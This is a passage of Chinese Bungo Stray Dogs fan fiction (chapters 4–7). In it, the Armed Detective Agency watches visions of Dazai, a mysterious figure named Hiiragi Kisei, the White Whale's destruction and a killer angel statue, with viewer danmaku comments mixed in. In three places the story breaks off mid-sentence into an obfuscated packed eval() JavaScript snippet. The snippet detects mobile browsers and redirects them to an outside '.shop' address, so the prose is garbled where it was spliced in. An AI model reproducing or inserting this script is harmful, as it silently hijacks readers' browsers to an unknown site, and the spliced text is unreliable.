“序幕演完了。”柊贵诚轻声说,声音里带着愉悦的颤音,“那么接下来……” 他伸手,指尖在光屏上轻轻一点。 画面切换。 新的影像,开始加载。 “——该让‘故事’正式开始了。” 他笑起来,笑得肩膀抖动。 光屏的光映在他脸上,明明灭灭,此间像一场永不落幕的皮影戏。 而他是唯一的导演。 以及—— 唯一的,操纵一切的手。 4. 第 4 章 弗朗西斯从侦探社离开时虽未当面撕破脸,暗地里的手段却层出不穷。 他把中岛敦在黑市的悬赏金翻了一倍,更对组合下了死令! 不惜一切代价,活捉人虎。 可偏偏……就是捉不到。 眼见妻子气息一天弱过一天,弗朗西斯再也等不及,抛出了最后的威胁。 若不交人,他便让那艘悬于天际的“白鲸”,径直坠向横滨! 除非你们想让镭钵街的惨剧重演,否则,就把中岛敦交出来。 消息传到侦探社时,先前那点因挫败组合计划而生的快意,瞬间烟消云散。 取而代之的,是一片死寂的凝重。 “要不……还是把我交出去吧。”中岛敦低着头,声音轻得发涩,他不想让同伴为难,更不愿整座城市因他遭殃。 “蠢话!” 国木田一掌拍在桌上,震得茶杯哐当作响,瞪了中岛敦一眼,随即转向一旁始终沉默的两人:“乱步先生,太宰,你们怎么说?” “依我看嘛,”太宰治悠悠开口,“眼下最省事的法子,就是把‘更值钱了’的敦君送过去.一了百了,天下太平。” “你胡——” “他说得对。”江户川乱步忽然打断国木田,睁开的翠绿眼瞳里没有半分玩笑,“不交敦,我们要对付的不止组合。港口黑手党会趁机插手,暗处更有无数双眼睛,早就盯着横滨这块肥肉。” “组合敢拿整座城市要挟,背后……恐怕早有推手。” 事到如今,“白鲸”一事,早就不是单纯为了抓一只人虎了。 曾经亲历过那场席卷异能界大战的侦探社员,听到乱步这话,再顺着他的目光看向太宰治,心头都重重一沉。 ——事情,早就失控了。 那场大战之后,没人敢断言“那位”是否真没留下后手。 所以谁也不敢妄动。 “白鲸”,就是一次试探。 未见尸骨,谁敢信那样的人物,会悄无声息地死在区区横滨? 就算他真的死了……那最后一个见过他的太宰治,谁又能保证,他没从那人手里拿到什么不得了的东西? 只要这秘密一日未解,那人便如一把始终悬在所有异能者头顶的利刃。 谁愿意永远活在刀锋之下? 这么一想,掺和进来的,恐怕就不止境外势力了。 说不定……横滨内部,也早就有人伸出了手。 “唉……”太宰治长长叹了口气,眉眼耷拉着,满是倦意,“明明我只是个想安稳摸鱼的普通社员,为什么总有人,一个接一个地,非要给我找事做呢?” …… 后来,在侦探社与港口黑手党那极为勉强的合作下,或者说,多亏了太宰治,以及他那一位“毒唯”芥川龙之介的协助。 中岛敦总算成功潜入了组合大本营,那艘浮在空中的巨舰“白鲸”。 登船之后,敦与芥川躲进阴影里。 按计划,拨通了太宰治的电话。 只响一声,那边就接了。 “太宰先生,我和芥川已经进来了,接下来怎么办?” 身旁,芥川的黑外套无风自动,衣摆如毒蛇般微微昂起,仿佛在寻觅最佳的攻击角度,而正在通话的中岛敦却浑然不觉。 “接下来啊,”太宰治的声音透过听筒传来“你和芥川闹点大动静出来,把船上的人都引过去。” 听到自己名字的刹那,芥川周身浮动的外套骤然一静。 …… “闹动静?”中岛敦一愣,“那我们偷偷潜进来是为了什么?” 他还来不及细想,也没空抱怨先前为了稳住芥川挨的那些肘击膝撞,一道黑影已从视野边缘猛扑而来! 凭借野兽般的直觉,中岛敦猛地侧身,那黑影擦着肩头掠过,他踉跄两步站稳,才发现袭击者竟是同行的芥川龙之介。 “芥川!你干什么?!”中岛敦又惊又怒。 芥川眯着眼,苍白的脸上浮起一种近乎狂热的兴奋:“在下只是在执行太宰先生的命令——制、造、动、静!” 话音未落,黑兽再起! 中岛敦狼狈地滚地躲开,忍不住提高声音:“太宰先生只是让我们引人注意!不是让我们自己打起来!敌人还没见着呢!” “闭嘴,人虎!”芥川根本听不进,攻势愈发凌厉,“在下只是在执行太宰先生的命令!” 中岛敦不愿真跟他动手,只是一味闪避,这退让却仿佛火上浇油,让芥川眼中的怒火烧得更旺。 “你就只会逃吗?!明明受太宰先生教导,却如此懦弱……你、不、配!” “——去死吧!!” 两人交手爆出的巨响与震动,很快引来了白鲸上所有能行动的人。 “太宰先生,”中岛敦一边躲开组合成员的围攻,一边还要防备芥川冷不丁从背后捅来的黑刃,喘着气对电话道,“我们好像……已经把人都引过来了。” 电话一直没挂。 “做得不错,敦。”太宰治的声音依然平稳,“现在,打开免提。” 中岛敦依言按下免提键,将手机屏幕转向渐渐围拢的组合成员。 “莫西莫西~组合的各位,听得到吗?” 围上来的组合成员暂时停了手,冷眼看着,想瞧瞧他们还能玩出什么花样。 “倒计时五分钟哦~五分钟后,我就会启动高·威·力·武器,把‘白鲸’炸成碎片。”电话中太宰治的声音传来。 “胡说八道!”一名组合成员厉声喝道,“你哪儿来的那种东西?!” “等等——”情报官奥尔柯特突然出声,脸色微微发白。 “看来组合里,还是有聪明人的嘛。” “据我所知,”奥尔柯特推了推眼镜,强作镇定,“那人早在情报中被确认死亡,你想虚张声势,恐怕找错了幌子。” 可她心里,某个角落已经动摇。 万一呢? 那人当年确实死在横滨。 而太宰治……和那人的关系…… 说不定…… “提醒到此为止。”太宰治语调不变,“信不信随你们,你们只有五分钟。” 说完,电话便断了。 中岛敦与组合众人僵持了片刻,小声开口:“我觉得……太宰先生不像在开玩笑!你们最好……还是赶紧撤吧。” 他瞥了眼脸色铁青的组合成员,悄悄向芥川使了个“快走”的眼色。 见他们要逃,几人立刻想拦,却被奥尔柯特抬手制止。 “奥尔柯特,你不会真信了吧?他要真有那本事,早用了,何必等到现在?” 奥尔柯特冷冷扫了说话者一眼:“那你敢赌吗?” “……” “立刻通知首领,全员撤离。” 她相信自己的直觉。来横滨前,她查遍了武装侦探社所有人的底细,尤其是一年多前那件事后,她对太宰治……格外留意。 所以,她不敢无视这个“警告”。 *** 横滨某处高坡,视野开阔,能将空中那座巨鲸般的舰体尽收眼底。 “太宰先生,我和芥川已经撤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149367|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出白鲸了!组合的人也都离开了。”中岛敦再次拨通电话汇报。 “很好,接下来离远点,越远越好。” “哦、好……可是为什么?”中岛敦不解,但仍听话地拉着芥川向后疾退,听筒那端传来呼啸的风声。 就像他不明白,太宰先生为什么非要他们潜入白鲸,只为了当一次“传声筒”。 但他还是照做了。 “你马上就会知道了。” 太宰治收起手机,仰头望向空中那庞然的阴影,慢抬起一只手,食指与拇指比成手枪的形状,遥遥对准了那艘巨舰。 “柊贵诚。”嘴唇微动,声音轻得刚一出口,就散在了风里。 一缕幽蓝色的光,自太宰治指尖悄然浮现,旋即划破空气,如流星般射向空中的白鲸。 光命中的刹那,并未发出巨响,反而像一滴水落入湖心,蓝芒如涟漪般,在空中温柔地荡漾开来。 而那巨大的空中舰体,就在这片静谧的蓝光中,开始无声地消融、分解、消散。 刚刚逃下白鲸、惊魂未定的组合成员仰头呆望着。 有人腿一软,直接跌坐在地。 只差一点……他们就会像那白鲸一样,悄无声息地,从这个世界上彻底抹去。 就连果断下令撤退的奥尔柯特,此刻后背也沁出一层冷汗。 强风自坡下涌来,吹得太宰治的衣摆猎猎作响,额前棕发凌乱飞扬。 又是一阵风从身后吹来,敞开的沙色外套被风鼓满,向前扬起,像一个无声而温柔的拥抱,轻轻拢住太宰治清瘦的身形。 恍惚间,似乎有一声极轻的笑,顺着风掠过耳畔。 太宰治没有回头。 依然望着前方逐渐澄澈起来的天空,眼中的笑意,却一点点深了,柔了。 阳光清澈如水,云影舒卷如画。 一道朦胧似幻的身影,静静立在太宰治身后。 那人垂眸注视他片刻,目光很深,很静。 随后,亦抬起眼,随他一同望向远方绵延无际的天际线。] —————— 【啊啊啊啊啊!我的豹豹猫猫终于同框了!!】 【太宰治:夫君可来相助? 柊贵诚:你唤我,总是要来的!】 【女人还是要看柊太,才有力气讨生活啊!】 【我的宰用脸80世界(比心.jpg)】 【不知道为什么,看到山坡上他们相拥,我竟然有点热泪盈眶!】 【全世界都知道柊贵诚待太宰治不同,这何尝不是一种最牛B的告白啊,宣告:我喜欢他,想让他之外的所有人都知道!】 【其实这个时候柊贵诚已经dead了,但……只要你唤我,我无有不应的!】 【姐妹,你总说些让人想死的话,呜呜┭┮﹏┭┮】 【看到芥川一副随时准备暗杀中岛敦的样子,真是笑死我了,两人在白鲸上蹲在一起的时候,罗生门随时准备偷袭的样子,怎么狗狗祟祟的。】 【有狗(芥川龙之介)有猫(中岛敦)的家庭真是羡慕了,每天都热闹非凡,你说是吧,太宰治(斜眼笑.jpg)】 【其实这个时候,太宰治应该是在有意识的在培养中岛敦和芥川两人的合作,但没想到,对于家庭的新成员,芥川狗狗表达了强烈的不满,招招都是冲着给中岛敦“安乐死”去的!】 【你确实是安乐的吗?】 【二胎总是更受宠一些的,更别说那可是,故人留下来的遗物!】 【如果故人留下的是一个孩子呢,我爆哭啊……】 5. 第 5 章 异空间的电影院里,屏幕上的画面还在继续。 “原来那个世界也这样……”中岛敦盯着屏幕上自己被另一个芥川追打得狼狈逃窜的模样,嘴角忍不住抽了抽。 但转念一想,另一个世界的“中岛敦”居然也得挨芥川的打,他心里忽然诡异地平衡了一点,甚至……还有点暗爽?! 敦偷偷朝港口黑手党那边瞥了一眼,谁知道正对上芥川龙之介扫过来的视线。对方眼神冷得像冰,抬手在脖子前缓缓一划,做了个干脆利落的割喉手势。 中岛敦头皮一麻,唰地把头扭回来,再不敢往那边看。 这小小动静被周围不少人看在眼里。 与谢野晶子用胳膊肘碰了碰谷崎润一郎,压低声音:“瞧见没,那边俩‘小朋友’又开始了。” 谷崎苦笑:“以前还没觉得,现在一看弹幕说的‘二胎’,还真有点那意思……” 江户川乱步没参与他们的闲聊,他推了推眼镜,侧过脸看向身旁的太宰治。 “太宰,这个人,你有印象?” 太宰治仍望着屏幕,摇头,“没有。名字、长相、事迹……完全陌生。” 乱步眯起眼,没再追问,只是重新将目光投向画面中那道朦胧的身影。 能让组合的情报官奥尔柯特瞬间变色,并让那么多势力忌惮至此的“柊贵诚”,绝非善类。 甚至……十分危险。 不仅乱步看出柊贵诚非同一般,在场港口黑手党、组合、异能特务科,乃至国外势力,也都察觉到了这人的危险性。 ——虽死,余威犹在! 以至于横滨之外的那些势力至今不敢亲自下场,只敢驱使组合当探路的石子。 那人到底做过什么? 竟让那个世界的他们恐惧到这个地步? 但也有人注意到另一些东西,比如弹幕里反复刷过的“柊太天长地久”“爱你就要让全世界知道”,以及柊贵诚现身时,和太宰治之间那种……“哇哦”的氛围。 谷崎直美小声对哥哥说:“美好的爱情,嘻嘻!” 中岛敦也看到了那些飞过去的字句,挠挠头,有点困惑:“太宰先生和那个人……是那种关系吗?” “哪种关系?”与谢野晶子忽然插话,声音不大不小,刚好能让周围几个人听清。 中岛敦顿时噎住。 虽然没看清正脸,只有一道模糊的虚影,但那人立在太宰治身后高出半头的身形,还有周身透出来的那股气质,再加上弹幕的种种提示…… 与谢野却已经转向太宰治,挑眉问道:“所以,那位柊贵诚,就是你那位传说中的‘男朋友’?” 侦探社最有种的女人,与谢野晶子,她A上去了。 话音落下,附近好几道视线齐刷刷投了过来。 太宰治轻轻“唔”了一声,仍旧托着腮,目光没离开屏幕,语调悠悠的:“我的理想,可是和一位美丽的小姐一同坠入河川、共赴黄泉哦~男人什么的,可不在我的计划之内呢。” “嘴硬。”与谢野哼笑一声,也不纠缠,转回去继续看屏幕。 越是了解太宰治的人,越是能察觉出画面中那个“太宰治”的不同。 那种眼神、那种姿态,甚至那句带着笑意却让人脊背发凉的“总有人热爱找死”,都和他们认识的太宰治相似,却又微妙地不一样。 是因为那个柊贵诚吗? 没人能回答。 视频仍在播放,自柊贵诚的身影浮现后,影像仿佛被无形的手拨动了指针,开始飞速倒流。 **【距离桔梗港事件发生,还有3个月。】** 黑底白字,醒目而突兀。 随后,画面一转。 —————— [横滨,地下深处,某座不为人知的拍卖场。 空气里浮动着香槟和雪茄的腻人气味,水晶灯投下璀璨却冰冷的光。 座无虚席。 西装革履的男人们和华服裹身的女士们低声交谈,每个人脸上都戴着恰到好处的“面具”,礼貌的、矜持的、疏离的。 “各位尊贵的来宾,”拍卖师站在铺着深红绒布的台前,声音因兴奋微微拔高,“接下来这件拍品,将是今晚的压轴——一位活生生的异能者!” 场中静了一瞬。 随即,压抑的议论声窸窸窣窣响起。 “异能者?真的假的?” “这种‘商品’也敢拿出来?不怕异能暴动?” “啧,我对活人没兴趣,不过要是能力特别,倒也不是不能考虑……” “买回去?谁敢?” 拍卖师很满意这样的反应,他抬手示意,身后巨大的电子屏幕骤然亮起。 “请诸位欣赏。” 画面里是一间全然由灰白色巨石砌成的密室。无窗,只有顶端投下一束惨白的光。 光线中央,站着一名少女。 她约莫十七八岁,深棕长发,黑眸,面容是一种非人的清丽,而最引人注目的,是她头上那对分叉的鹿角,以及裙摆下隐约可见的、属于蹄足的形状。 半人半鹿,却浑然天成,宛如从古老神话里走出的精灵。 台下传来压抑的吸气声。 几个男人不自觉地前倾身体,眼中迸发出赤裸的狂热。 “这是她的异能效果吗?”有人高声问。 拍卖师微笑着摇头:“不。这正是她的特别之处,这副姿态,并非异能所致!接下来,请诸位见证她真正的能力!” 屏幕上,石室顶端打开一个小口。 一部手机直直坠落。 就在下落过程中,手机外壳开始分解、剥落,内部零件如同被无形的手拆解,还未落地,便已化为一蓬细碎的残渣。而在它最终落下的石面上,一丛嫩绿的藤蔓破“石”而出,以肉眼可见的速度舒展开叶片。 紧接着是台灯、笔记本电脑、塑料水杯……一件件人造物被投入石室,无一例外,皆在坠.落过程中瓦解消散。 取而代之的,是一片片生机勃勃的绿意,甚至在光秃的石面上扎根蔓延。 “如诸位所见,”拍卖师的声音带着蛊惑,“她的能力范围约为半径十五米。” “在此范围内,一切非自然形成之物,简单说,一切人造物都会分解消失,并在原处催生植物!至于诸位关心的安全性……” 他顿了顿,露出一个心照不宣的笑容:“请完全放心!她对人工制品异常敏感,轻微接触或吸入都可能引发严重的哮喘与皮肤病症,可以说,这是一位……极其脆弱、需要精心呵护的‘鹿女’!” 台下响起一阵低低的、混杂着欲望的笑声。 “起拍价,一亿日元!每次加价不得低于一百万。” 木槌敲响。 “一亿两千万。” “一亿五千万。” “一亿八千万。” 叫价声此起彼伏,金钱数字在拍卖师口中飞快跳动,如同现场不断攀升的欲望。 “三亿。” “三亿两千万。” “三亿五千万。” 报价停在“三亿五千万”上。 拍卖师环视全场,无人再应。 “三亿五千万一次,两次……成交!” 木槌落下,声音清脆。 “恭喜九十五号先生,获得这件独一无二的珍品!” 掌声稀稀拉拉地响起。 九十五号是位身材发福、穿着定制西装的中年男人,此刻正满意地靠回椅背,向周围投来的目光微微颔首。他是国际知名的“人体艺术”收藏家,这个价格,在他看来,值得。 无人注意到,在拍卖场最暗的角落阴影里,始终静立着一个人。 沙色长风衣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149368|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑色长靴,与周遭格格不入的粗花呢报童帽压得很低。 他像一道沉默的影子,明明站在那里,却仿佛被所有人的视线自动过滤,连托着银盘穿梭其间的侍者,也会在不自觉间绕开他所在的位置,仿佛那里空无一物。 他的目光平静地扫过全场。 将那些贪婪的、兴奋的、估量的、淫邪的视线,那些掩藏在文明外衣下的原始欲望,尽数收入眼底。 下一件拍品被推了上来。 那是一座约一米高的石质天使雕像,雕刻风格古朴奇异。 天使低垂着头,眼覆轻纱,独臂微微抬起,似在遮挡,又似在拒绝。 一种无言的悲悯与洁净,与这污浊的场合格格不入。 角落里,青年的唇角,极轻地勾了一下。 台上的拍卖师对此一无所知,仍在热情介绍:“这件雕塑与方才的‘鹿女’来自同一位匿名卖家。据卖家描述,雕像本身蕴藏着某种尚未明晰的‘力量’,当然,即便仅作为艺术品,其独特的造型与历史感也极具收藏价值……” 保护雕像的特制铁箱被打开,天使完整的姿态展露于人前。 “起拍价一百万日元,加价幅度不限,现在开始!” 或许是刚刚经历了一场天价竞拍,人们对这座看似普通的石像兴趣缺缺,叫价声零零星星。 “一百二十万。” “一百五十万。” “两百万。” 最终,它以三百万日元的价格落槌,还不及鹿女价格的十分之一。 工作人员上前,准备将雕像推往后台。 但铁箱并未关闭。 见此,角落里的青年,缓缓直起了身。 “咔。” 一声短促、清晰的脆响,像是什么东西□□脆利落地折断的声音。 推着展示车的工作人员身体一僵,随即面朝下扑倒在地。 他的脖颈以一个完全违背生理结构的角度扭曲着,脸侧向一边,瞳孔涣散,残留着最后一瞬的茫然。 …… 死寂。 紧接着,尖叫炸裂! “啊啊啊——!” “死人了!死人了!” 华丽的假面顷刻粉碎,人们推搡着、咒骂着、哭喊着,疯狂涌向出口。 什么风度、什么体面,在死亡面前不值一提。 然而,逃跑者一个接一个倒下。 像被无形的手扼住喉咙,脖颈断裂的声音接连响起,沉闷而惊心。 他们倒下的姿态各异,脸上却凝固着同一种表情,极致的恐惧与求生的渴望。 终于,有人颤巍巍地指向那座天使雕像。 它不知何时已脱离了推车,静静立在血泊中央。 石雕的面庞依旧低垂覆纱,可那微微抬起的独臂,指尖似乎正滴落着粘稠的鲜红。 它动了。 没有脚步声,没有征兆,只是倏然出现在下一个奔逃者的背后,石臂抬起,落下。 “咔嚓。” 又一人倒地。 屠杀效率高得令人绝望。 不过短短几分钟,拍卖场内再无站立的身影。 浓郁的血腥气几乎凝成实质,华丽的地毯吸饱了血,变得沉暗粘腻。 除了—— 那个自始至终立于角落的青年。 他踏过横陈的尸骸,步伐平稳,像是漫步在寂静的庭院。 最终,停在那座染血的天使雕像前。 他微微仰头,端详着石像覆纱的双眼,几滴鲜血正顺着石刻的面颊缓缓滑落,宛如泪水。 青年从大衣口袋中取出一方洁白的手帕,抬手,轻轻拭去石像脸上的血痕。 他的声音不高,却在这死寂的空间里清晰可闻: “感谢各位……” “为新世界,献出的一切。”] 6. 第 6 章 [武装侦探社会客室。 社长福泽谕吉端坐着,脊背笔直,对面是异能特务科的种田山头火长官。 这位平日里总带着几分圆融气度的长官,此刻眉宇间全是焦灼,眼下还挂着疲惫的阴影。 “事情……已经压不住了。”种田将一份厚厚的档案推至桌案中央,指节重重叩了叩封面,“横滨地下拍卖场,一夜之间,二十七位‘社会名流’横死!现场没有凶手,只有一座会动的天使雕像,还有满地的……尸体。” 他深吸一口气,像要把那股铁锈味从肺里挤出去,继续道:“舆论哗然,上层震怒,国际那边也在施压,现场留下的影像清清楚楚……杀人的,不是人!所以案子被定为‘异能者恶性事件’,全权甩给了我们特务科。” 福泽谕吉静静听着,一言不发,只是将茶杯轻轻搁下,示意他继续。 “可调查……从开头就卡死了。”种田嘴角泄出一丝苦笑,混着无奈,“监控显示,那雕像杀光人之后,连同拍卖品里的‘鹿女’,一块儿凭空消失!我们顺着拍品来源查,拍卖会负责人说,这两样东西,来自同一位‘卖家’。” “可等我们细问下去……没人能说清那卖家长什么样、多高、甚至声音是粗是细,所有人的记忆都像蒙了层雾,就只剩下一个‘戴着帽子’的笼统印象。”种田的眼神中透露出几分不可思议。 “连我们这边擅长读取物品记忆的异能力者,都从现场捞不出半点清晰的影像,那个人……就像一道被刻意擦掉的影子。” “记忆干涉类异能?”福泽谕吉沉声问。 “九成九是。”种田点头,眉心拧得更紧,“案子影响太坏,上面下了死命令,限期破案,常规的异能侦查已经没用,我们需要……非常规的‘眼睛’。”他的目光,投向了坐在福泽身侧、正专心拨弄着一颗玻璃弹珠的江户川乱步。 “乱步先生的‘超推理’,或许能撕开这层雾。” 福泽谕吉没有立刻接话,目光扫过桌上摊开的现场照片,沉默了片刻。 “委托,侦探社可以接,但我有一个条件。” “您说。” “这类藏污纳垢、把人命和律法踩在脚底下的地下产业,不该再留在横滨,这次案子之后,我要看到一个彻底的清理。”福泽谕吉的目光锐利如出鞘的刀。 种田长官挺直了脊背,神情郑重:“我以异能特务科的名义向您保证,这类悲剧,绝不会在横滨重演!相关的清理,我们会和警方一起,全力推进。” “好。”福泽谕吉微微颔首,转而看向身侧的青年,“乱步。” 乱步抬起头,翠绿的眼眸清澈得能映出人影。 “乱步,我相信你。”福泽谕吉的语气是少有的严肃,“但务必小心,对手……很不简单。” 乱步把弹珠揣进口袋,站起身,抬手扶了扶那顶标志性的侦探帽,嘴角扬起一抹自信又带着点孩子气的弧度。 “放心交给我吧,社长!” “此外,”种田忽然开口,神色略显复杂,“考虑到此次案件的棘手程度,以及背后可能牵扯的复杂势力……这次案件还有一位特殊的‘协助者’参与,或者说是福泽社长你们原定的新社员。” 福泽谕吉看向他,没有接话。 种田斟酌着词句:“此人……过往复杂,但能力毋庸置疑,曾是港口黑手党历代最年轻的干部,以‘操心师’之名让里世界闻风丧胆,如今暂居横滨,处于……观察期。” 种田曾暗中关注过对方经手的案子,每一次都完成得无可挑剔,仿佛一切早在预料之中,那种洞悉人心、操纵局势的能力,连特务科内部都为之侧目,任务完成得甚至过于轻松,轻松到让人隐隐不安。 “他与乱步先生配合,或许能产生意想不到的效果。”种田缓缓道,“上面的压力很大,我们需要尽快破案,而他的能力……或许正是撕开这层迷雾的关键。” 福泽谕吉沉默片刻,最终点了点头。 “可以。” …… 午后。 横滨某区,废弃隧道深处。 那处非法拍卖场已被警方用黄黑相间的警戒线层层围起,原本奢靡喧嚣、欲望横流的地方,如今只剩一片死寂,和那股怎么都散不掉的、甜腥的铁锈味。 江户川乱步双手插在外套口袋里,步履轻快地走进会场,跟在他身后的国木田独步则眉头锁得死紧,目光警觉地扫过每一个角落。 会场里头还保持着案发时的样子,只是尸体挪走了,换成了用白线在地上勾出的、一个个扭曲又诡异的人形。 猩红的地毯颜色变得深暗沉浊,那是大量血液浸透后,再也洗不掉的痕迹。 “真是……惨烈。”国木田低声道。即便出过不少现场,眼前这景象还是让他胃里一阵翻搅。 乱步却像没受影响,站在会场中央,微微偏过头,目光掠过每一处细节。 翻倒的座椅、碎裂的高脚杯、墙壁上早已干涸发黑的喷溅状斑点……最后,他的视线定在了会场西南角,那片相对空旷的阴影区域。 他闭上眼,又猛地睁开。 翠绿的眼瞳里,锐利的光芒一闪而过。 “找到了。”乱步轻声说,像在自言自语,“那个人……案发时一直站在那里,像个安静的观众,欣赏着自己一手导演的戏码。” “什么?”国木田立刻看向那个角落,除了阴影,空无一物。 “国木田,去监控室。”乱步说完,不等国木田反应,已经转身朝门外走去,脚步快得带风。 “等等!乱步先生!监控室在另一边出口!”国木田急忙喊道,拔腿追了上去。 …… 监控室里光线昏暗,只有几块屏幕散发着幽幽的蓝光。 画面中,拍卖正到高潮,衣着光鲜的男男女女们脸上写满了贪婪和兴奋。当那名鹿角少女出现在大屏幕上时,惊呼和赤裸的欲望几乎要冲破屏幕。 国木田忍着不适,强迫自己盯紧每一个角落,尤其是乱步指出的西南区域。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149369|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没有……乱步先生,我反复看了好几遍,那里确实没有人。”国木田揉了揉发酸的眼睛。 “笨蛋,不是用‘看’的。”乱步头也没回,让旁边警方的技术人员快进了几下,然后将画面定格在某个瞬间。 他指着屏幕边缘一处几乎和阴影融为一体的、极其微妙的轮廓扭曲,“看这儿!光线在这里有细微的不自然折射,人群的视线焦点,在无意识中避开了这个区域。” “虽然影像被某种力量干扰得模糊不清,但‘存在’本身留下的痕迹,是擦不掉的。” 国木田凑近屏幕,按着乱步的指引,终于勉强捕捉到了那一丝异样。 一个极其淡薄、仿佛信号不良造成的虚影,静静伫立。 像个鬼魅。 “真的……有人!”国木田倒吸一口凉气,“可这影像太模糊了,根本看不清任何特征。” “这就是他异能的效果之一吧,‘认知模糊’,或者‘存在感稀释’?”乱步摸着下巴,若有所思,“不仅作用于亲眼所见者的记忆,连电子设备也无法清晰记录……相当麻烦的能力。” 但随即,乱步脸上的困惑被一种跃跃欲试的兴奋取代:“不过,这样才有意思!看不清脸有什么关系?犯罪手法、行动逻辑、目的意图……这些可比一张脸留下的信息,多得多。” 他让技术人员切换着不同摄像头的画面,试图拼凑出那个模糊身影的行动轨迹。 忽然,乱步动作一顿。 目光紧紧锁住了屏幕一角—— 那是仓库后门通道的监控,时间是案发后大约十分钟,仓库后面是一条东西流向的河道。 模糊的身影似乎在那里停留了极短的一瞬,做了一个类似“丢弃”或“放置”的细微动作。 乱步的瞳孔骤然收缩。 脑海中的线索碎片,在“超推理”的作用下开始疯狂碰撞、重组。 拍卖清单、失踪的雕像、近期横滨黑市某些隐秘的动向、西码头仓库区几个小帮派异常的物资流动…… “糟了!”乱步猛地站起身,椅子向后滑开发出刺耳的摩擦声,“国木田!立刻去西边码头,第七区第三排的旧仓库!快!” “什么?现在?那里怎么了?” “那个杀人雕像!它会在那里再次出现!” 乱步语速极快,一边说一边将侦探帽扶正,“对方不是漫无目的地杀人,他在测试,或者在清理……没时间细说了,你快去!尽量阻止!如果雕像已经出现,务必小心,不要正面冲突,等我支援!” “明白!那您呢?” “我还有一些事要确认一下。” 看着国木田如离弦之箭般冲出门,乱步脸上那点轻松的神色彻底消失,取而代之的是罕见的凝重。 他低声自语,像是说给自己听:“操控雕像远程杀人?不,不像……雕像本身是‘活’的?异能力造物?还是别的什么……那个鹿女又被带去了哪里?这一切,真的只是某个疯狂异能者玩的游戏吗?” 7. 第 7 章 西码头,第七区,第三排仓库。 夜色像墨汁一样泼下来,海风带着咸腥味,从破旧仓库的缝隙里呜呜地灌进来。 但此刻,仓库里盖过风声的,是爆豆般的枪响,和惊恐到变调的惨叫。 “烈焰帮”的十来个成员,正对着仓库中央那尊凭空冒出来的灰白色石像疯狂开火,子弹打在石像表面,溅起一簇簇火星,却连道白痕都留不下。 就在几分钟前,这尊诡异的天使雕像毫无征兆地出现在他们验货的桌子旁边。 石臂一挥,离得最近的三人连喊都没来得及喊出来,脖子就以诡异的角度扭断了。 “怪物!打不死!” “撤!快他妈撤啊!” 领头的小队长川口千寿肝胆俱裂,嘶吼着下令。 什么货,什么交易,此刻都比不上保命要紧!他扔下打空的手枪,转身就朝仓库那扇锈迹斑斑的侧门狂奔。 求生的本能驱使他往前冲,耳朵后面不断传来令人牙酸的“咔嚓”声和同伴倒地的闷响,但他不敢回头,拼命冲向那扇代表生机的门缝。 还差三步、两步…… “咔。” 一声轻响,从他颈后传来。 川口千寿的视野陡然翻转,他看到了仓库布满蛛网的天花板,然后,是无边无际的黑暗。 …… 国木田独步凭着乱步给的精准位置,气喘吁吁地踹开仓库主门时,浓烈到让人作呕的血腥味,像一记重拳砸在他脸上。 仓库里灯光昏黄,地上横七竖八躺满了人,姿势扭曲,脖子无一例外,都朝着不正常的方向弯折。 在这一地尸骸中央,那座沾染了暗红血迹的天使雕像,静立不动,低垂的石雕面庞覆着轻纱,独臂微抬,像在无声地祈祷,又像在无声地宣判。 国木田的呼吸猛地一滞。 冷汗瞬间湿透了后背衬衣。 他缓缓向后退,试图在不惊动那鬼东西的情况下退出仓库,联系乱步和社里。 就在他脚后跟快要退出门槛的刹那—— 雕像覆纱的“面孔”,似乎……动了一下。 转向了他。 “嗖!” 没有声音。 但国木田的视网膜只捕捉到一道灰白色的残影。 下一刻,冰冷、坚硬如铁箍般的触感,死死扼住了他的咽喉! “呃啊——!” 国木田双手本能地抓住那截石臂,拼了命地向外扳、向外扯! 可石像的力量大得超乎想象,纹丝不动! 窒息感像潮水一样迅猛上涌,眼前开始发黑,耳朵里嗡嗡作响,他能清晰地听到自己喉骨在可怕压力下发出的、细碎又绝望的“咯咯”声。 要死…… “国木田先生——!” 谷崎润一郎惊怒的吼声从门口炸开! 他接到乱步紧急通知后同样火速赶来,却撞上如此骇人的一幕!他猛扑上来,双手抓住雕像的手臂,用尽全身力气向后拉! 可那石臂就像和雕像浇铸成了一体,稳固得可怕。 “放开他!混蛋!” 国木田的意识在迅速流失,视线模糊中,他看到谷崎因用力而狰狞的脸,听到他绝望的吼叫。 肺里的空气被彻底榨干,血液冲不上大脑,扳扯石臂的手指渐渐没了力气。 ……抱歉,乱步先生…… 在意识沉入黑暗的最后一瞬,他似乎听到了乱步由远及近的、前所未有的焦急呼喊。 快跑……别过来…… 这是国木田脑子里闪过的,最后一个念头。 …… 武装侦探社医务室。 